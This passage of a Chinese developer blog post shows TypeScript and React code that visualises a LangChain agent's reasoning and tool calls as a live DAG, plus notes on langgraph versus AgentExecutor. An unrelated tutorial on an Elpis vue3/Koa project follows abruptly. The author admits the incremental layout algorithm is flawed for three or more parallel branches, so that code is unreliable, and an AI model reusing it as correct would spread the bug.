if (!nodeId) return
const resultNodeId = this.manager.addNode(
'tool_result',
'结果返回',
nodeId,
{ output: output.slice(0, 500) }
)
this.manager.updateStatus(resultNodeId, 'completed')
this.manager.updateStatus(nodeId, 'completed')
}
async handleToolError(err: any, runId: string) {
const nodeId = this.runNodeMap.get(runId)
if (nodeId) {
this.manager.updateStatus(nodeId, 'failed')
this.manager.addNode('error', `错误: ${err.message}`, nodeId, { error: err })
}
}
private getParentNodeId(): string | null {
return this.manager.getSnapshot().currentNodeId
}
}
这段 handler 有一个 LangChain 做得不好的地方——handleToolStart 的第二个参数 input 是 string 不是结构化对象,你得自己 JSON.parse,而且它有时候给你的不是合法 JSON。不是 bug。是"特性"。(我已经在 GitHub issue 里看到过不下十个人吐槽这个事了,官方一直没改。)
串起来。启动代码:
const chainManager = new ThinkingChainManager(sessionId)
const callbackHandler = new ThinkingChainCallbackHandler(chainManager)
const executor = AgentExecutor.fromAgentAndTools({
agent,
tools: getToolsForContext(currentUser, conversationType),
callbacks: [callbackHandler],
// streaming 这个配置名字叫 streaming
// 但实际控制的是 callback 的粒度——不开的话 handleLLMNewToken 不触发
})
registry.on('tool:start', (event) => {
// 补充 meta 信息:预期耗时、是否可重试之类的
})
到这一步思维链的数据流就通了,每一步推理每一次 Tool 调用都会在 ThinkingChainManager 里生成对应节点。
拉回来讲渲染。
DAG 渲染:把动态生长的图画到屏幕上
这是整个方案里最容易做出来、也最容易做烂的部分。
先明确一下要渲染什么:
[用户提问]
↓
[LLM 思考 #1] ──→ [调用 web_search("天气")] ──→ [结果: 晴 25°C]
↓ ↓
[LLM 思考 #2] ←──────────────────────────────────────────┘
↓
├──→ [调用 calculator("25 * 9/5 + 32")] ──→ [结果: 77°F]
│
└──→ [调用 translator("晴", "en")] ──→ [结果: "Sunny"]
↓ ↓
[LLM 思考 #3] ←──────────────────────────────────┘
↓
[最终回答: "今天天气晴朗,25°C (77°F)"]
节点类型不统一,有 llm_call 有 tool_call 有 tool_result 有 final_answer。连边方向单一但有并行分支。整个图是边跑边长的——这很要命。
用什么库?
核心挑战不在渲染。在布局算法。
每次新增节点整个图的布局可能要重算,如果用 dagre 做自动布局(react-flow 文档推荐的方式),每次 addNode 就重新算一遍所有节点的 x/y 坐标——已有节点位置会跳。用户正盯着某个节点看呢突然它蹦到另一个位置去了。体验极差。
我的方案是增量布局。新节点根据父节点位置做相对定位,已有节点纹丝不动:
import { useCallback, useRef } from 'react'
const LAYOUT = {
nodeWidth: 240,
nodeHeight: 80,
horizontalGap: 60,
verticalGap: 100,
} as const
function useIncrementalLayout() {
const positionCache = useRef(new Map<string, { x: number; y: number }>())
const depthCounters = useRef(new Map<number, number>())
const getNodePosition = useCallback((
nodeId: string,
parentId: string | null,
depth: number
): { x: number; y: number } => {
if (positionCache.current.has(nodeId)) {
return positionCache.current.get(nodeId)!
}
const currentCount = depthCounters.current.get(depth) || 0
depthCounters.current.set(depth, currentCount + 1)
let x: number, y: number
if (!parentId) {
x = 400
y = 50
} else {
const parentPos = positionCache.current.get(parentId)
if (parentPos) {
x = parentPos.x + (currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap))
y = parentPos.y + LAYOUT.verticalGap
const siblings = currentCount
if (siblings > 0) {
x = parentPos.x + ((siblings - 0.5) * (LAYOUT.nodeWidth + LAYOUT.horizontalGap) / 2)
}
} else {
x = currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap)
y = depth * LAYOUT.verticalGap
}
}
const pos = { x, y }
positionCache.current.set(nodeId, pos)
return pos
}, [])
return { getNodePosition }
}
坦白讲这段布局代码写得有点糙。并行分支水平展开的算法不太对,三个以上并行 Tool 的时候节点会挤成一坨——但 80% 的场景够用。再说吧。完美的 DAG 布局是一个学术级问题,Sugiyama 算法那一套你真去实现要写好几百行,在这个业务场景下追求完美属于浪费生命。你的用户关心的是"Agent 在干嘛""到第几步了""哪步挂了",不是这图的 margin 对不对称。
自定义节点组件,根据 ThinkingNodeType 渲染不同样式:
function ThinkingNodeComponent({ data }: { data: ThinkingNode }) {
const statusColor = {
pending: '#94a3b8',
running: '#3b82f6',
completed: '#22c55e',
failed: '#ef4444',
}[data.status]
return (
<div
className={`thinking-node thinking-node--${data.type}`}
style={{ borderLeftColor: statusColor, borderLeftWidth: 4 }}
>
<div className="thinking-node__header">
<span className="thinking-node__icon">{getIcon(data.type)}</span>
<span>{data.label}</span>
{data.status === 'running' && <PulseIndicator />}
</div>
{data.streamTokens && data.status === 'running' && (
<div className="thinking-node__stream">
{data.streamTokens.join('')}
<BlinkingCursor />
</div>
)}
{data.type === 'tool_call' && data.data.input && (
<Collapsible title="参数">
<pre>{JSON.stringify(data.data.input, null, 2)}</pre>
</Collapsible>
)}
{data.type === 'tool_result' && (
<Collapsible title="结果">
<pre>{data.data.output}</pre>
</Collapsible>
)}
</div>
)
}
把 ThinkingChain 转成 @xyflow/react 要的 nodes 和 edges 数组——BFS 遍历顺便算深度:
function chainToFlowElements(
chain: ThinkingChain,
getPosition: (id: string, parentId: string | null, depth: number) => { x: number; y: number }
) {
const nodes: Node[] = []
const edges: Edge[] = []
const queue: Array<{ nodeId: string; depth: number }> = []
const visited = new Set<string>()
for (const [id, node] of chain.nodes) {
if (!node.parentId) {
queue.push({ nodeId: id, depth: 0 })
}
}
while (queue.length > 0) {
const { nodeId, depth } = queue.shift()!
if (visited.has(nodeId)) continue
visited.add(nodeId)
const thinkingNode = chain.nodes.get(nodeId)!
const position = getPosition(nodeId, thinkingNode.parentId, depth)
nodes.push({
id: nodeId,
type: 'thinkingNode',
position,
data: thinkingNode,
})
if (thinkingNode.parentId) {
edges.push({
id: `${thinkingNode.parentId}-${nodeId}`,
source: thinkingNode.parentId,
target: nodeId,
animated: thinkingNode.status === 'running',
style: { stroke: thinkingNode.status === 'failed' ? '#ef4444' : '#64748b' },
})
}
for (const childId of thinkingNode.children) {
queue.push({ nodeId: childId, depth: depth + 1 })
}
}
return { nodes, edges }
}
最终 React 组件:
function AgentDAGViewer({ chainManager }: { chainManager: ThinkingChainManager }) {
const [chain, setChain] = useState<ThinkingChain | null>(null)
const { getNodePosition } = useIncrementalLayout()
useEffect(() => {
return chainManager.subscribe(newChain => {
setChain(structuredClone(newChain))
})
}, [chainManager])
const { nodes, edges } = useMemo(() => {
if (!chain) return { nodes: [], edges: [] }
return chainToFlowElements(chain, getNodePosition)
}, [chain, getNodePosition])
const reactFlowInstance = useReactFlow()
useEffect(() => {
if (chain?.currentNodeId) {
const pos = getNodePosition(chain.currentNodeId, null, 0)
reactFlowInstance.setCenter(pos.x, pos.y, { duration: 300, zoom: 1 })
}
}, [chain?.currentNodeId])
return (
<ReactFlow
nodes={nodes}
edges={edges}
nodeTypes={{ thinkingNode: ThinkingNodeComponent }}
fitView={false}
panOnDrag
zoomOnScroll
minZoom={0.3}
maxZoom={1.5}
>
<Background />
<Controls />
</ReactFlow>
)
}
踩坑提醒:useReactFlow() 必须在 <ReactFlowProvider> 内部调用否则直接报错,而且这个 Provider 不能和 <ReactFlow> 在同一个组件里——得包在外面一层,文档里写了但不显眼,十个人里九个半会踩这个。
设计权衡和边界
langgraph 还是 AgentExecutor?绕不开的选择。
LangChain 团队自己都在推 langgraph 作为 Agent 编排的下一代方案,AgentExecutor 某种意义上已经进维护模式了。langgraph 原生就是图结构——StateGraph 加节点加边——天然比 AgentExecutor 那个 while 循环模型更贴合 DAG 可视化的需求:
import { StateGraph } from '@langchain/langgraph'
const workflow = new StateGraph({ channels: agentState })
.addNode('agent', callModel)
.addNode('tools', callTools)
.addEdge('__start__', 'agent')
.addConditionalEdges('agent', shouldContinue, {
continue: 'tools',
end: '__end__',
})
.addEdge('tools', 'agent')
const app = workflow.compile()
但 langgraph 也不是万能药,它的学习曲线比 AgentExecutor 陡不少——StateGraph、channels、conditional edges、checkpointer 一堆新概念砸过来,而且 JS 版本目前功能比 Python 版少了一截。如果你的场景就是一个简单的 ReAct 循环,AgentExecutor 配上前面那套 callback 机制已经够使了,别为了架构上的"正确性"引入不必要的复杂度。能跑。够了。
性能方面最大的瓶颈根本不在前端渲染。
状态持久化这块,ThinkingChainManager 的数据目前纯内存,location.reload() 一下就全没了。如果需要回放历史对话的推理过程——企业场景里这个需求挺常见,审计合规什么的——得把整个 ThinkingChain 序列化存后端,每个事件带 timestamp,回放时按时间戳重新 replay。这块展开讲又是一整篇文章的体量了。
跑了大半年生产环境,这套方案最大的教训就一句话:别想一步到位。ThinkingNode 的 type 枚举我改了四版,ToolMeta 的结构加了三次字段,DAG 布局算法换过两种方案。先用 AgentExecutor 加最基础的 callback 加一个简单的列表式渲染跑通,确认产品方向没问题了再逐步往上堆 DAG 可视化、增量布局、流式 token 这些花活。想等一步到位只会等出个寂寞来。
Elpis: 基于vue3+webpack5+nodejs搭建一个完整项目
前言
- 本文主要是基于抖音哲玄前端进行学习与总结,如有需要可以抖音搜索 哲玄前端 进行了解学习。
- 个人目前是纯前端,对于服务端所知不够,如果你也有学习完整项目的想法,可以和跟着我的文章一起学习了解整个项目的过程。后续会持续更新。文章中若有不对的地方请多多指教,我会及时更正。
项目背景
日常开发中我们往往面临
- 重复性很高的工作
- CRUD等基础工作
- 多套系统交付间产生大量工作
- 更多偏向纯前端开发,设计不到基建、服务相关知识
从这些点出发,我们将开发这个项目。
项目介绍
- 技术栈:NodeJS 、Koa 、 vue3 、 webpack5
- 一个企业级应用框架,用于快速构建企业级应用
- 项目一开始经历了技术选型,然后确定整体架构。项目初始化后,先从BFF层开始开发。
项目架构
项目整体分成3层:
前端(Web/App/小程序)
↓
专属 BFF(如 Web-BFF、Mobile-BFF)
↓
通用后端服务(微服务/数据库/第三方API)
其中BFF层的结构方式为
项目elpis-cor解析(BFF层)
elpis-cor是基于koa来实现的解析器,专门解析规定app目录下的中间件部分。 结构目录简单组成:
elpis
|--app //解析器指定解析的中间件
|--middleware
| |--error-handler.js //错误边界中间件
|--router
| |--view.js //加载路由
middleware.js //注入中间件地方
|--config //环境配置
|--elpis-core //解析器
|--loader //解析器相关文件都放这
|--middleware.js //middleware中间件解析器
|--router.js //路由中间件解析器
...
|--index.js //解析器入口
|--logs //日志
|--index.js //入口文件
|--package.json //配置文件
index.js入口文件是整个项目的入口,可以传入一些配置,比如项目名、首页地址等,然后先去加载解析器,同时会去加载注入中间件的app下的middleware.js,利用loader去处理整体的app文件下中间件。